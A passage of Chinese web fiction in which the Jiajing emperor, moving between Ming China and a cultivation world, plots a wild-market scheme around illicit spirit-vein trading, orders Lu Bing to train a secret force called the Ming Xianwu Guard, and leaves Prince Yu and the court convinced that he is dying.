就跟大明东南的一些商人,或者士绅家族,私开海运航线走私一样的道理。 之前,嘉靖是只管要钱,不影响自己的利益就行,下面怎么做他根本不在乎罢了。 “所以,黄峰说的野市需要长期发展才能有大收益这点是不成立的,他自然也明白,这点立不住脚。” “他说的那些话,自然都是为了在谈判中,拿下更多的利益罢了。” “原来如此,”刘权坐在嘉靖身边,恨恨的锤了一下桌面,“黄峰老儿,真是阴险!” “再说你的第二个问题。” 刘权的愤怒,嘉靖却不以为意,继续缓声为他解惑,道:“让出野市的经营权,并割利四成,是否亏损这点……” 说到这里,嘉靖忽然停下。想到这里是书院麾下的产业‘白马楼’,接下来的话并不好在这里说,便起身向门外而去。 见此,刘权一愣,不过他也不笨,想到先生接下来的话肯定事关重大,也赶紧跟上。 此行目的已经达到,该是返回了。 “啧,真的贵!”从白马楼出来,刘权有些肉疼,道:“半個时辰千两灵源,还好我没选择按天包,要不然就是两万五。” “一千两就些灵果,灵茶和住宿费……” 看着刘权精打细算的样子,嘉靖行走在这热闹喧哗的修仙大城的街道上,也不禁心生感慨。 一个规则治下的世界,有“钱”才是道理,没“钱”就算你修为再高也只能节约。 二人没有在寸土寸金,繁华的四方城内多逛,只是在路过售卖储物袋的铺子时,嘉靖花了六百两,买了一个八品储物袋。 他现在用的是九品储物袋,八品的容量,要比他现在用的容量大一倍。 如果将储物袋的空间容量看做是一个正方体的话,那么九品储物袋的容量也就是边长两米出头的正方体,容积大约是十个立方。 九品储物袋,售价是三百两灵源,每高一品,容量翻倍,价格自然也翻倍。 一路没有停留,二人来到城外,坐上飞梭后踏上回程的路。 从始至终,独孤雄都没有现身。 毕竟他是随行暗中保护,以防意外,现身的话,若是真有人出手,那么肯定会把他这个筑基后期也算进去,平白增加风险。 飞梭轰鸣,冲入云霄后在云层上平缓行驶。 “接下来,跟‘御兽门’的谈判我就不出面了。”飞梭舱体内,靠窗的榻上,嘉靖跟刘权,面对面盘腿坐着,二人中间放着一张小几。 “先生不出面了?”听到嘉靖这话,刘权一愣。 “野市的开辟,对双方都是好事,我们各自出一半的灵源向书院申请登记,”嘉靖喝了一口灵茶,“经营权他们跟‘黄风谷’平分。” “以‘黄风谷’的背景,你去跟他们说明白,‘御兽门’定然不会拒绝合作。”听到嘉靖这么说,刘权略一思考后,点了点头。 “若是‘御兽门’有其他条件,你可以提出我们出全部的申请费用,但要抽取利润…这些你可以酌情去考虑,重要的是让他们同意。” “好,我知道怎么做。”刘权认真的点头了点头。 整个大明仙宗三个甩手掌柜,除了干架和修炼根本不管其他,一个管家宋薪柴,只管宗门和灵田的种植培育,另一个手艺人更不管事。 所以宗门的经营和发展方向,全都落在了嘉靖跟刘权二人身上。 嘉靖自己还有大明要操心,所以也想培养一下刘权,处理一些小事还是可以的。 “再说回我的另一个打算,”这时,嘉靖开口,语气幽幽道:“我打算等野市步入正轨后,逐渐接触灵脉方面的生意……” “?!”听到嘉靖竟然说要做灵脉生意,刘权一怔,下意识的看了看四周,声音都压低了几分,道:“先生,你是认真的?” “……” 第八十章 阳谋,裕王悲恸:父皇啊,您果然是大限将至了吗! “不错,”嘉靖很坦然的说出了自己的打算,“不过此事不能急,需要好好规划。” 嘉靖对刘权,并没有隐瞒自己的目的,因为没必要,更没有意义去瞒着他们。 当然,最重要的是,没有谁是眼盲心瞎的,与其遮掩,不如直接说明。 大明仙宗,也是自己的宗派,他自然也不会做出损害宗派利益的事情来。 看着神色坦然的嘉靖,刘权认真了下来,他知道,从先生的表现来看,不像是无的放矢。 他既然知道灵脉生意的危险,却还敢这么说,定是有了万全的打算。 “野市,其实对于大荒这片新开辟出来的土地来说,就是一个鱼饵。” “一旦野市建立,各方都会涌入,这点之前已经说过。”说着,嘉靖目光盯着刘权,道: “你之前说过,中原一些大宗开辟的野市有灵脉交易,就算是书院,都不好插手对吗?” “不错。”刘权点了点头,眼神中有思索之色,而后恍然道:“先生的意思是……” “看来你也想到了,”嘉靖点了点头,“若是没有书院一些高层,或者是中下层的默许,想来灵脉生意也无法进行下去。” “至少,我不认为统御如此恢宏修仙世界的各大书院,没能力彻查一些灵脉交易。” “可是,中原也时有灵脉交易被发现,然后被书院连根拔起,祸及宗门……”说着,刘权突然一顿,试探的看向嘉靖,“作戏?” 嘉靖不置可否的一笑。这些,让他想到了自己跟清流、严党唱的那出戏。 还有朝廷里,严党和清流两派的争斗。 就如这次的海瑞东南行,严党不就是在背后深挖清流的根,让海瑞去查,然后把事捅到台面上,从朝廷层面出发,那就不得不管了。 说白了不就是内斗吗?胜利者吃的满嘴流油,失败者被打上贪官污吏的标签。 这个世界的儒家,就是变异了的大号“王朝体”,至少从现在知道的只言片语来看,它的运行逻辑跟大明没什么差别。 人性使然,该贪的,注定了还是会贪! “我们是野市的主人,其他人进来要得到我们允许,随着野市的壮大,书院肯定会派人来,之后不管做什么生意,都别想绕开书院。” “灵脉生意也一样的道理。”说到这里,嘉靖干脆给刘权一口气直说了。 “一旦有了机会,黄风谷也不会错过灵脉生意,有经营权在手,他行事会更方便。” 说着,嘉靖带着考校意味的看着刘权,问道:“你觉得这些,黄峰会想不到吗?” 突然被提问,刘权仿佛又回到了第一次初见时,在牢房里听先生授课的样子。 心下一怔,不过还是稍一思索,道:“肯定能想的到,所以他肯定会寻求庇护!” “不错,”嘉靖点点头,道:“他有经营权在手,野市开辟,足够他用来上下打点合作。” “届时,在这个野市内,必然会出现灵脉售卖生意出来。” “等到野市做大,‘黄风谷’彻底开了这个头以后,我们也就可以下场浑水摸鱼了。” 嘉靖不想做“大庄家”吗?想,但他知道,别看独孤英在开辟战争上,压着黄峰打,但大明仙宗整体上来说,根本不如黄风谷。 尤其是黄峰的二女儿,入了白马书院这点,让嘉靖尤为重视! 如此浩瀚的修仙世界,天才何其之多,为何这黄峰的二女儿能被看中? 必然是有过人之处的! 这也就间接的,让黄峰在书院有了人,不管能不能起作用,但探听点风声应该可以。 一旦有个风吹草动,说不定就能起到作用,所以‘黄风谷’敢碰的生意,大明不行! 毫无根基,人脉,背景,只能谨慎些。 “有野市的决策权在手,我们也能利用手中权力之便发展我们自己的生意,培养好一些做事的人手,若情况有变,弃了便是……” “不过这些前提是跟在‘黄风谷’后面,任他树大招风。” “若真有一天出了事,是否眨眼间树倒胡松散,我们都能看到风向,激流勇退……” “反正经营权又不在我们手上,书院内部派系争斗祸及下面,也与我们无关。” “我们是野市主人,只要尾巴处理的干净,想来书院也不会做的太绝揪着不放。” “马无夜草不肥,要真较真揪着不放,那所有开辟野市的宗派,都会动荡不安,这些上位者都清楚,没必要做到这种地步!” “届时,野市已经做大,书院胜利者,自然会接收失败者的全部利益,灵脉生意,永远不会绝迹……” “市场做大,注定不会干净!” 听到这里,刘权看着嘉靖的目光,竟有些害怕起来,先生想的竟然如此之远。 确实,野市做大后,明里暗里,白的黑的灰的,各种财富利润,收到手软。 尤其是灵脉生意,更是利润庞大到难以想象,就问谁能忍的住? 而且这种见不得光,不被允许的利润,黄风谷还不用走明账,只要打点好书院的人就行,更不需要给大明那六成的利润。 至于明面上的一些租金、商铺利润,跟这些比起来,反而显得蝇头小利了,给就给了。 “先生,你说,黄峰老儿会不会正是因为想到潜在的利润,才会答应的这么痛快?”此时,刘权也明白过来,神色古怪的看向嘉靖。 这些明摆着就是先生计算好的。 嘉靖拿起茶盏轻抿了一口没有回答,而是道:“利益就在那里放着。” “我们反正是规规矩矩的跟他在交易。” “他不拿,不碰,野市做大了也会有其他人碰,看别人吃的满嘴流油,赚的盆满钵满,他若是能忍住诱惑,那自是平安无虞。” “但他若是忍不住,扑上去也咬一口,分一杯羹,那自然要承担应有的风险。” “但不管他碰不碰都无所谓。” “一旦这個口子被打开,就注定了开在大荒的野市,不会平静,中原大宗派也不会允许如此之大的新地,变得毫无营养。” “我们只需要跟在大树底下乘凉,稳扎稳打,一步一个脚印的去慢慢壮大自身即可。” “直到我大明自己成为参天大树,就像是中原那些大宗派一样,再大的风也不会动。” “那时,便是大而不倒了,再之后……”说着嘉靖目光看向窗外飘忽的云层,不再言语。 “啧啧,”刘权则是连连咂舌摇头,心中期待道:“黄峰老儿,你可千万别忍着啊……” 想着,又看向神色始终不曾有变化的嘉靖,心中越发觉得,自己跟先生的脑子相比起来,差的简直不是一星半点。 以前当山贼用的那点小伎俩,在这种阳谋面前,突然显得是那么的小家子气。 半日后。 二人回到了宗门。 该嘱咐的,该安排的,该教的,嘉靖都已经嘱咐了,安排了,也教了。 以刘权的脑子,多想想自然也就明白了。 接下来,嘉靖又跑了一趟后山灵田,让宋薪柴帮忙拿些修炼的灵源和丹药等等,趁着宋薪柴不在的功夫,挖了一些灵土和灵草。 做完这些后,嘉靖宣布闭关了。 对此,刘权自然知晓,嘉靖的修炼速度他看在眼里,自然不会耽误。 不过接下来他要忙了,小家伙们的修炼,也就落在了宋薪柴、独孤雄和独孤汉身上。 谁让掌门闭关,柳老手艺人要给宗门造飞梭呢? 这一次嘉靖没有在传承阁闭关,而是回了自己的院子,不过他没有急着回去大明。 一来距离上次离开,也不过才过了一个月时间,大明也没有什么事发生。 二来,屯兵兴农的国策要在嘉靖四十年做好准备,四十一年二月到三月正式开始春种。 所以,眼下不过是五月份,还有大半年时间准备。 严党和清流还在‘调兵遣将’中,这些他在视听天下的时候也都看到了。 双方对人选坐镇可是争锋相对。 布下大阵和层层禁制后,嘉靖又开启了一轮的闭关。 一个半月后。 房间里,嘉靖吐出一口浊气后,双眼缓缓睁开,眼神中没有任何的意外之色。 练气五层的修为,纹丝不动。 “该回去了。”想着,嘉靖平复体内激荡的灵气,心态渐渐平缓后,双眼缓缓闭上。 “嗡。”随着一道空间涟漪波动荡起,嘉靖已经回到了大明。 道台上的精舍中,嘉靖双眼缓缓睁开。 他回归的时候是深夜,到了大明,自然是晌午时辰。 “奴婢吕芳,敬禀太上大罗天仙/紫极长生圣智昭灵/统三元/证应玉虚/总管五雷大真人/玄都境/万寿帝君,主子陛下……” 刚回来,就听到门外吕芳的声音响起。 “严阁老举荐唐顺之为宣大总督,坐镇大同,清流则推举裕王殿下为宣大总督,小阁老则要求让景王殿下为大同巡抚,双方僵持不下,递来奏本,请主子圣裁……” 宣大总督,大同巡抚?听到吕芳的话,嘉靖心下恍然,同时也明白清流和严党的目的。 唐顺之作宣大总督,此人嘉靖知道,跟胡宗宪属于一类人,属于严党,也都是能干事的。 显然,严嵩需要复制另外一个浙直总督,一南一北当顶梁柱了。 清流显然信不过严党,而且要求裕王亲自坐镇,这算是裕王一派的全体行动了。 至于景王,很显然,严党也开始拼命了。 双方都意识到了,边疆卫所制恢复,大明一南一北被固定,自己下一步就是整顿吏治。 所以,都害怕自己一系被清算,所以这场战争,必须要有一方倒下去。 瞬间明白清流跟严党的目的,嘉靖眸光一闪,抬手拿起罄锤,一摆手,只听“铛”的一声,铜罄发出嗡鸣,门外吕芳的声音骤停。 “主子出关了!”吕芳心头一喜。而后赶忙整理衣袍仪容,然后轻敲了敲门。 “进来吧。”嘉靖说着,起身从精舍中走出,这时吕芳推门而入,一个滑跪,高声道:“奴婢恭贺帝君修为精进出关!” “帝君圣躬安!” “呵,”嘉靖面容松动,轻笑一声,“朕安。沐浴!” “是!”吕芳赶紧小跑出去招呼太监们准备。 不一会,嘉靖便舒服的躺在了浴桶里。 一番洗漱,更衣后,嘉靖换上了一身舒适的白衣道袍,坐在了精舍里。 “你的祷告,朕都听到了,”嘉靖说着,甩手扔给吕芳一颗青灵果,“这是灵果。” “谢主子!”又蹭到了好吃的,吕芳心头狂喜,拿起灵果就开始吃了起来。 “你等会去给内阁众人传旨,明日玉熙宫议政,”说着,嘉靖抬了抬手指,“对了,还有裕王,朕也该见见这个儿子了……” “是!”对于主子要见裕王,吕芳并不惊讶,什么二龙不相见,都是扯淡。 主子现在是仙人! 晚些时候,宫里的旨意下达,严党和清流自然都收到了消息,一时间各方心思各异。只因这一次,皇上竟然还叫了裕王。 裕王府,大殿里。 清流一派,徐阶,高拱,张居正都在,不过却多了两个人。分别是户部主事海瑞,和新晋的裕王府詹士,王用汲! 原来的谭纶则是还在东南主持改稻为桑,毕竟这事最后是被清流一党给捕获了。 此时,众人都看着打发了小太监后,站在原地,神情异样的裕王。 “殿下?”张居正轻唤了一声。 “二龙不相见,二龙不相见……为何突见?”裕王自语着,环视众人,突然整个人一个踉跄,被高拱一把扶住。 “父皇啊!”突然,裕王情绪崩溃,眼泪如泉涌,悲恸道: “父皇他,果然是,大限将至了吗!” 众人闻言,都想到之前的猜测,顿时各个身体晃了又晃,面色骤变。 莫非,明日陛下就要宣布什么? 一时间,众人心乱如麻,不管怎么说,也是他们的君父,一时间皆是面色凄然! 坐在角落的海瑞也是身体一怔,跟着又想到之前自己的遭遇,又看了看大哭的裕王。 最终,又默默的垂下了头。 他心中也不敢肯定,但心中已是纷乱无比了。 到了京城后,他被裕王亲自召见。 裕王的一些想法,也只跟他单独说过,所以他对这位很有可能继承大位的人有不少好感。 也是到了京城,跟清流这些人的接触中,他才知道了太多没看到,没想到的事情。 比如,陛下的一些行为,收割清流和严党,为北边和东南筹集军需。 七条辅策钉死严嵩的改稻为桑。还有清流等人猜测的,陛下在为新君铺设道路。 他终于明白,自己误会了君父。 终究是自己身处于方寸之间,看到的不过是井口大小的苍天而已! 蚍蜉问苍天,终究是托大了! 所以,那份谏苍天的奏本已经被他焚毁。 此时听到这个消息,他更是心如乱麻,心中满是愧疚和复杂。 “……” 第八十一章 大明仙武卫计划 严府,书房里。 “爹,您怎么看?”严世蕃神色凝重的看向老爹,“叫裕王入宫,怕是不妙啊……” 严世蕃想到了之前老爹说的话。 皇上之前可是一直信奉二龙不相见的,现在突然召见了裕王,那岂不是说皇上他……大限已经到了,没几天了…嘶?! 皇上这次召见裕王,怕不是要确定太子储君人选了? 想到这个可能,严世蕃心头狠狠一跳。 要真是这样的话,那他们这段时间的所有努力,岂不都是作废了?景王可还是在封地呢! 此时,坐在小桌对面的严嵩,也不由的沉默了,老神在在的脸上,也没有了往日的坦然。 他也没想到,意外来的这么快! “清风丫头的殿里,可有传来信?”严嵩抬了抬昏聩的眼皮,看向儿子严世蕃。 “我问过伺候的小道童了,皇上真的是在闭关,”严世蕃摇了摇头,脸色难看,道:“皇上闭关期间,只有吕芳守在玉熙宫。” “严禁任何人踏入宫阙半步!” “自从成立了西厂之后,陈洪这狗娘养的,可以说是把宫里上上下下封的死死的!” “任何人敢打探宫里的消息,都会被他的西厂上门审问一番,刺王杀驾的帽子扣了又扣,这王八蛋已经彻底疯了……” “咚咚咚。”这时,房门敲响,仆人的声音跟着响起,“老爷,陆炳进宫了。” 听到仆人的消息,正在暴躁不安,发着牢骚的严世蕃猛的停下。 “陆炳进宫,莫非是要封锁宫廷?!”严世蕃压低声,惊疑的看向严嵩。 严嵩没有说话,只是抬起老眼,看向窗外被晒得明晃晃,显得极为安静的院子。 一双浑浊的老眼中光泽涌动,不知道在想什么。 …… 玉熙宫外。 一袭大红色蟒衣,头戴乌纱,腰间系着銮带,身材魁梧的陆炳阔步走来。 远远的就见一副老农打扮的吕芳,正笑眯眯的看着他。 看到吕芳,陆炳心中嫌弃,这老东西,自己不在的这段时间里,可没少被皇上赏赐好处。 陆炳对吕芳是羡慕又嫉妒。 此前他被派往东南处理公务,回来的时候,已经是几个月后了。 一个月前,他从东南回来后,特地入了一趟玉熙宫回来复命,却被告知皇上闭关。 他甚至连玉熙宫的门都进不去,最后还是吕芳的干儿子黄锦看到他,才去禀告了一声。 然后,他就从吕芳口中得知,这老东西竟然已经开始踏上仙途,修炼了。 天知道陆炳在听到这个消息的时候,心里的嫉妒有多高,又有多厚! 有时候他都恨不得自己切了进宫! 天天跟在主子身边,踏上仙途,求那长生不死。 “文孚!”吕芳笑呵呵的上前,“主子出关,就让咱家通知了你……”说着不等陆炳说话,又凑近一步,低声道:“恭喜了!” “恭喜?”陆炳一愣,继而像是想到了什么,脸上对吕芳不咸不淡的笑容先是一凝,继而就是陡然变形,放大,“莫非是……” 说着,陆炳声音压得极低,生怕旁人听到什么似的,下意识的左右看了看。 “文孚,稳重些,”吕芳笑了笑,淡然转身的同时,“走吧,莫让主子等急了。” 一举一动都充满了对凡人的仁慈与平缓,没办法,跟主子一起久了,他也学了几分姿态来。 说实话,此时的吕芳,看待自己与旁人的时候,已经是两种心态了。 毕竟,他已经踏上了仙途。与普通人之间,隔着四个字——仙凡之别! 当然,他心中的普通人,是宫里那些太监宫女,还有其他视线中的,但却不包括未来可能被主子赐下仙法的人群。 至少对陆炳,他就会笑容以待。 因为陆炳跟他一样,都是出身王府,跟在主子身边的绝对心腹,被赐下仙法是注定的。 至于其他人,比如裕王爷,身为皇子,几乎不用想都能知道,踏上仙途迟早的事。 还有内阁诸老,等主子将大明修整完了,便会做最后的结算,‘论功封仙’。 能者随大明万万年,永享仙道,无能者,不被眷顾者,注定要被淘汰。 在原地怔了怔的陆炳,讷讷的“哎”了声,赶紧快步跟上,一双粗壮的拳头猛的攥紧。 仙法,皇上要赐他仙法了! 玉熙宫,后院。 嘉靖已经对灵田周边的禁制进行了重新加固。 因为院子不大的缘故,灵气浓郁程度,竟然赶上了之前在‘黑风寨’时的浓度。 “浓郁度是够了,”嘉靖来到那株似乎长了有半個脑袋高的柳树苗前,捏着嫩绿的柳叶,“但随着它的成长,灵气迟早会被吸光。” “而且,柳树坑也要不断拓宽,下方的禁制也要重新布置,需要的灵土就越来越多。” “若是能有一条灵脉,再辅以阵列反向调整顺序的聚灵阵,形成一个天然的灵气区域。如才才能长久的拥有一片灵土……” 嘉靖心中对灵脉越发的渴望了。 “不能心急,”压下心底的渴望,嘉靖心中暗暗对自己说道:“朕的肩膀上,担着的不光是此界的九州万方,还有彼界的一方仙宗。” “若是太心急,就会判断失误,宁可慢些,也绝对不能有半分的失误出现……” “主子,”这时,身后脚步声响起,吕芳恭敬的声音传来,“文孚带到了。” “臣陆炳,叩见太上大罗天仙/紫极长生圣智昭灵/统三元/证应玉虚/总管五雷大真人/玄都境/万寿帝君,帝君圣躬安!” 嘉靖转过身,看着跪在地上的陆炳,脸上露出笑容,抬手虚扶,“朕安,平身吧。” 对陆炳这位发小心腹,嘉靖心中的看重,除了吕芳能相提并论外,旁人根本无法相比。 “谢皇上!”陆炳恭敬拜了拜后,起身强忍着不去贪婪的呼吸,从袖子里拿出奏本,“臣幸不辱命,东南之事,已圆满落幕!” 嘉靖抬了抬手,吕芳转身从陆炳手上接过奏本递了过来。 打开粗略看了看,嘉靖便点了点头,道:“文孚,此次东南之行你做的不错。” “为皇上,臣万死不辞!”陆炳郑重无比。 “嗯,”点了点头,嘉靖转身朝着玉熙宫内走去,吕芳跟陆炳立刻跟上,“这次招你进宫有三件事。”说着,嘉靖来到了书房坐下。 “首先就是为了赏赐。”嘉靖抬了抬手,吕芳笑着拿出几页黄纸,递给陆炳。 “这是修仙功法‘引气诀’,刚才的院子,想必你也察觉到了不同,今日起你每日进宫,跟吕芳一起修炼,朕会亲自指导。” “文孚,还不谢主子?”见陆炳双手捧着‘引气诀’浑身发抖,神情呆滞,吕芳提醒道,反应过来后,陆炳当即跪下叩首。 “臣,谢帝君圣恩!” “起来吧,”嘉靖说着,脸上露出一抹笑容,抬了抬下巴,道:“这老东西比你有福,此前跟着朕可没少蹭吃蹭喝。” “灵米,灵泉,还有灵果,估摸着再有一个月就能引气入体了,若是造化多点,怕是年底就能突破练气一层,甚至更早!” “你可要抓把紧了,别给他比下去。” 两个月前,嘉靖视听天下的时候,就看过吕芳的修炼情况,估摸两三月就能引气入体。 已经过去了两个多月,果然不出自己所料,这老东西身体里,穴窍已经打通了大半。 一个月后,就能引气入体,准备突破练气一层了。 听到吕芳这么说,陆炳下意识的抬头看向面对嘉靖打趣,微微欠身,笑的满脸腼腆的老货。 “都是主子垂怜,奴婢才有机缘。”吕芳感受到陆炳的目光,心中很是满意。 嗯,他很享受这种眼神。 虽然宫里小太监,各个看自己的时候,都是对自己权势和身份的渴望,但他已经麻木了,凡人的时候,他都不在意,何况是现在。 他迫切的需要一个知晓修仙机密的同行的仰望羡慕,文孚就很不错! 若是不能被同一起点的人羡慕嫉妒和仰望,那不就等同于是锦衣夜行了? 吕芳想的不错,陆炳却是嫉妒了! 虽然皇上说的‘引气入体’、‘练气一层’什么的他不懂,但他知道这定然是修仙相关,而且吕芳很明显要步入第二个层次了。 一时间,陆炳又有些悔恨,要自己是个太监多好,那就能早早踏上仙途了。 好在,皇上还记得自己,还不算晚。 “第二件事,”嘉靖继续开口,“朕要你从今日起,秘密招揽一批年龄在四五岁的孩子,教他们读书识字,教授他们仙武之法。” 说着,嘉靖大手一挥,一册被他抄录好的,来自大角星的武道功法出现在手。 “此法并不是修仙功法,”嘉靖抬手,吕芳眼疾手快的上前接过,只见上面写着三个大字,“此册名为,仙武法!” “乃是仙人所创的武道功法。修炼到大成,威力无穷,甚至可以与练气一层的修士一战。” 这仙武法,正是传承阁内,凡书中记载的一种,凡人修炼的武道功法。 这门功法,强调炼体,以气血为力,主要是穷极自身,开发人体无穷潜力。 在凡俗中,属于绝对上乘的武道功法,按照记载,好像是某个大修士历练红尘时,根据自身所修炼功法编造的一套武道功法。 之后,传给其凡人弟子,至此流传于世。 当然,记载是这么记载的,是真是假就不知道了。 此前,黑风寨里不少没踏上修仙的人,都是修炼这东西的,家族那边也有人修炼。 主要是这功法,可塑性强,重在炼体,凝聚气血,不会损伤穴窍,有机会就能踏上仙途。 嘉靖指了指陆炳,道:“朕要你从今日起,给朕秘密培养一批大明仙武卫出来。” “……” 第八十二章 父皇,您太累了!放心吧,这大明儿子背得动! 大明仙武卫?! 听到嘉靖这么说,陆炳身体猛的一怔。 一旁的吕芳也是攥了攥拳头,大明仙武卫,主子他终于要开始改造大明了吗? 他早就知道,主子雄心如苍天般广阔,他定不会满足于一人得道修仙。 修仙需要的是资源,这些时日他已经深切的体会到了,尤其是灵源,灵米这些辅助物。有了灵物资源的辅助,修炼可以说是事半功倍。 所以,主子培育灵田,就是要种植更多的灵物,用来辅助修炼。 但是随着境界的提升,玉熙宫后那小小的一方院落够吗?不,远远不够! 更别说主子还带着他跟陆炳一起修仙,以后富余了,怕是裕王爷,景王爷他们也会修仙,还有皇族,也会越来越壮大。 这就需要更多的灵田,产出更多的资源。 这些,都需要人,需要大量的人来种田,来为主子陛下,还有他们这些高层提供资源。 所以大明的未来,注定是要走上一条恢宏浩瀚,亘古不曾有人踏足的仙朝之路。 一切,都不过是个开始,但是在此之前,需要发展足够强大的力量,确保掌控未来大明仙朝,眼前的仙武卫,只是个开始。 身为嘉靖的大伴,主仆二人的默契太深了,吕芳可以说是最懂嘉靖的人了。 陆炳看着手上来自仙人所创的‘仙武法’,深吸一口气,郑重道:“皇上放心,陆炳定为皇上打造出一支完美的大明仙武卫!” “嗯,”嘉靖点了点头,“第一批人不要太多,就一个千户所即可,酌情按需来办。” “是。”陆炳认真点头,心中却已有了计较,而后张了张嘴,道:“皇上,不知犬子是否可以修炼这仙武法……” 陆炳知晓轻重,修仙功法是绝密,整个大明就皇上、吕芳和自己三人知晓,没有得到允许,他自然是想都不会想着给家人。 除非他想放弃未来的仙人大道,九族都活得不耐烦了! “可,”想到陆炳的儿子,嘉靖点了点头,这一家人都是自己的心腹,修炼这仙武法自然是可以的,“第三件事。” “屯兵兴农的国策要提上日程了。” “锦衣卫的人,要提前拨到大同,边境的‘互市’,也要提前调查,”嘉靖靠坐在椅子上,抬了抬手指,道: “还有,蒙古草原各部,极北那些个部落,也可以试着接触一下,绘制好地图……” 嘉靖说的极北,自然是后世的西伯利亚地区,现在的大明除了边境商人贸易有所接触外,对这些地区知之甚少。 对于大明以外的国家和地区,嘉靖暂时没什么想法,他是個极度贪婪之人,但是皇帝,还是比较注意自己吃相的,消化一些吃一些。 想这些太远,但提前做好调查,地图等等,还是很有必要的。 “是!”陆炳自然知道,接下来,北方边境是清流跟严党的战场,而且最近他也听说了,裕王跟景王,怕是要亲自动手了。 边境地区一次涌入这么多权贵视线,蒙古等地不可能不注意到,他锦衣卫自然要打好前阵。 至于极北之地,虽然了解很少,但通过‘互市’的突厥人就能了解到不少。 那些突厥人,知道好多些语言,这些对锦衣卫来说,并不是什么难事。 吩咐完陆炳该做的事后,嘉靖便带着他跟吕芳二人进入了灵田小院,开始指导二人修炼。 一天时间匆匆而过。 翌日午时,天气阴沉,空气中飘洒着一些细微的毛毛雨,空气中充斥着一些泥土的味。 西苑外,徐阶为首的,高拱、张居正、赵贞吉等人已经到了,正在宫门口候着。 “就在这里等吧。”徐阶看了眼阴沉的天,缓声说话的同时,面色上也有些凝重。 高拱、张居正和赵贞吉三人,此时也是肃容以待,他们在此是为了等候裕王。 “严嵩父子到了。”这时,赵贞吉看向不远处的两顶缓缓而来的轿子说道。 “哼!”高拱冷哼一声,道:“严党想要借着北方屯兵兴农的国策,为景王争取回京的机会,如今看来,他们的算盘要打崩了!” “肃卿,慎言!”徐阶撇头,低斥一声。 虽然众人都知道高拱说的是陛下可能大限将至,甚至这次招裕王入宫,就是在有意立储,但有些话心里明白就是了,不能表露出来。 一旦被有心人知晓了,怕是塌天大祸。 高拱也知道自己的话有些敏感了,欠了欠身,闭口不再说话。 随着仆人的一声‘落轿’,严世蕃率先出来,扶着老爹严嵩。 “诸位都到了啊。”看到徐阶等人都在后,严嵩佝偻着身子,在严世蕃的搀扶下,笑呵呵的对众人打起了招呼,像是个慈祥老人。 虽然心里恨不得将对方除之而后快,但徐阶等人还是微微拱手欠身以示尊敬。 “诸位阁老都到了啊,”这时,现如今风头正盛的西厂督主,司礼监提督的陈洪走了出来,“咱家是来接裕王殿下的……” 陈洪还在说着,然而内阁众人仅仅只是淡淡点了点头,然后全都很有默契的各自站好。 一时间,细绵绵雨落的空气中,除了泥土的腥味外,还有一股尴尬的气息。 站在陈洪身后的两个心腹干儿子,都在替陈洪感到尴尬,脑袋深深的低了下去。 没错,陈洪也是有干儿子的,吕芳能收的干儿子,被下面叫老祖宗,他不能? 重要的是,主子陛下也没有怪罪下来,这说明什么?说明这是主子对自己办事得力的肯定! 被内阁中,清流和严党同时冷遇,陈洪的脸色“唰”的一下就阴沉了下来。 他想不明白,从前自己被吕芳压着,甚至受宠程度还不如笨蛋黄锦,被内阁这些人无视,将自己视作透明无物就算了,现在自己已经是受人尊敬,百官畏之如虎的西厂督主。 现在的西厂,可是压着东厂,锦衣卫,自己又被主子看重,这些人竟然还这么对自己。 这种淡漠,像是看空气一样的冰冷眼神,深深刺痛了陈洪敏感的自尊心。 这群腐儒文官,太会伤人了! “踏踏踏。”这时,一阵脚步声响起,裕王的轿子到了,陈洪深吸一口气,脸上挂上笑容,当先快步迎了上去,道:“奴婢陈洪,奉主子之命,前来迎接裕王殿下,殿下千岁!” “臣等参见裕王殿下。”内阁众人纷纷躬身行礼。 “儿臣谢父皇,”一袭蟒袍,衣着得体的裕王从轿子中出来,先是对陈洪点点头,然后又看向内阁众人点了点头后,露出笑容走向严嵩。 “严阁老,身子骨越发健朗了。” “谢殿下挂怀,”严嵩依旧是一副垂垂老矣的模样,抬头的废力一般,道:“托陛下的洪福,托大明国运,让我痴活到了这把岁数。” “我这把老骨头,也不知道能熬到什么时候,说不定哪天就不行喽,呵呵……” 说到最后,摇头发出自嘲的笑容。 “严阁老多虑了,有大明国运昌盛庇佑,严阁老这样的好官,定能康健!”裕王笑呵呵的说着,“我们也该进去了,莫要让父皇久等。” “殿下请。”众人让裕王先走,他们跟在身后。 陈洪在前面领路,裕王看了看阴沉的天,又看了看静谧到几乎没几个太监的西苑,不由的心又是一沉,不免又是悲从心起。 父皇他,果然是身子有恙! 吕芳没有现身,只是派了陈洪来,说明父皇的身子,已经严重到需要吕芳守着的地步了。 父皇,儿子误会您了,您为大明,为儿子,背负的太多了,您太累了。 接下来,大明就让儿子来背吧! 看着近在咫尺的玉熙宫阙,裕王的神色越发肃穆,脚步越发的缓慢稳重,似乎背了一座大山。 父皇,您放心吧,这大明儿子背得动! “……” 第八十三章 裕王:啥?我通倭了?!嘉靖:朕的儿子也通倭? “果然!” 进入玉熙宫大殿,裕王看着空荡荡的上方御座,心头又是一紧,果然没错! 虽然裕王不曾入宫议政,但每次玉熙宫的议政,是个什么情形,他都是一清二楚的。 父皇上次可是直接出面的,但这次突然又不露面了,这说明了什么?说明自己猜的没错,父皇的身体肯定是越来越不行了。 当然,裕王会这么想的原因还有一个,那就是吕芳也没有站在司礼监一方。 之前玉熙宫议政的时候都在,这是头一次不露面。 内阁众人此时也是神色各异,他们也注意到了玉熙宫内的变化,吕芳不在,也让他们对心中的那个猜测,愈发的坚信起来。 “诸位,东南的事都了了,那就说说北边的事吧。”陈洪揣着手踏出一步,神情间说不出的倨傲,吕芳不在,他就是为首的那一个。 就连颇受国师器重的黄锦,此时也站在他身后。 说实话,此刻不光是裕王和内阁众人怀疑嘉靖的身体状况,就连陈洪也惊疑不定。 别看他的西厂似乎把玉熙宫外守的严严实实,可这西苑的大权,终究还是在吕芳手上。玉熙宫这方寸之地,更是禁地。 不过这些他管不着,他对自己的定位很清楚,他就是主子手里的一把刀。 司礼监全都是主子的家奴,他做不到吕芳的程度,也办不了黄锦的愚蠢,但他有自己的定位,他可以是一个只对主子忠的恶奴。 至于裕王爷,或者是内阁,都无所谓了,而且我也别无选择,朝廷里不也说什么孤臣吗? 嗯,他就是孤奴?大不了换了主人把自己处理了,至少眼下自己能活出個人样来。 严党恨他,清流看不上他,裕王厌恶他,没有派系喜欢他,等新朝来临,他肯定不会好过,那还不如尽好当下本分。 这就是陈洪的心态,他猖狂,却不愚蠢。 只是,在这人人都老谋深算的朝堂上,他被衬托的不如人罢了。 此时,内阁和司礼监分站两列,最上方,御座下严嵩依旧坐着。 而在另外一边,裕王也坐了下来。 